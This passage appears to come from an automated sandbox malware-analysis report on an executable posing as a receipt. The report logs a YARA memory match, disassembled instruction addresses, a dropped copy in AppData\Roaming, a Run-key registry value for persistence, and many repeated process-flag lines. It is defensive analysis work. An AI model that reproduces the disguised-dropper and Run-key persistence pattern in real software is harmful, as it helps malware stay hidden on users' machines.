Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 6772, type: MEMORYSTR

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_06BF7103 push eax; ret	0_2_06BF710D
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014C0B4D push edi; ret	3_2_014C0CC2
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014C0C95 push edi; retf	3_2_014C0C3A
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014CFF80 push ebp; ret	3_2_014CFF8A
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C403CB push edi; ret	3_2_06C403DA
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C403BB push ebp; ret	3_2_06C403CA
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C40006 push es; retf	3_2_06C4001C
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C48BC8 push esi; ret	3_2_06C48BD6
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C4515F push es; ret	3_2_06C45160
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C4FBCD push es; iretd	3_2_06C4FBDC
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C4FB10 push es; iretd	3_2_06C4FB20
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_06AC7103 push eax; ret	5_2_06AC710D
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_06CC1A20 push FFFFFFC9h; iretd	6_2_06CC1A24
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_06CC7103 push eax; ret	6_2_06CC710D
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_00A30C3D push edi; ret	7_2_00A30CC2
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06220006 push eax; retf	7_2_06220015
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0622FB10 push es; iretd	7_2_0622FB1C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0622FB44 push es; iretd	7_2_0622FB48
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0622FBCD push es; iretd	7_2_0622FBDC
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_00F00B4D push edi; ret	8_2_00F00CC2
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06640006 push es; retf	8_2_0664001C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB6D push es; iretd	8_2_0664FB70
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB71 push es; iretd	8_2_0664FB7C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB7D push es; iretd	8_2_0664FB88
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB44 push es; iretd	8_2_0664FB54
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB55 push es; iretd	8_2_0664FB5C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB21 push es; iretd	8_2_0664FB24
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB10 push es; iretd	8_2_0664FB20
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FBCD push es; iretd	8_2_0664FBDC
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FBDD push es; iretd	8_2_0664FBE0
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664FB99 push es; iretd	8_2_0664FBCC

Source: C:\Users\user\Desktop\Receipt_7814002.exe

File created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run daqfbrlrs			Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run daqfbrlrs			Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
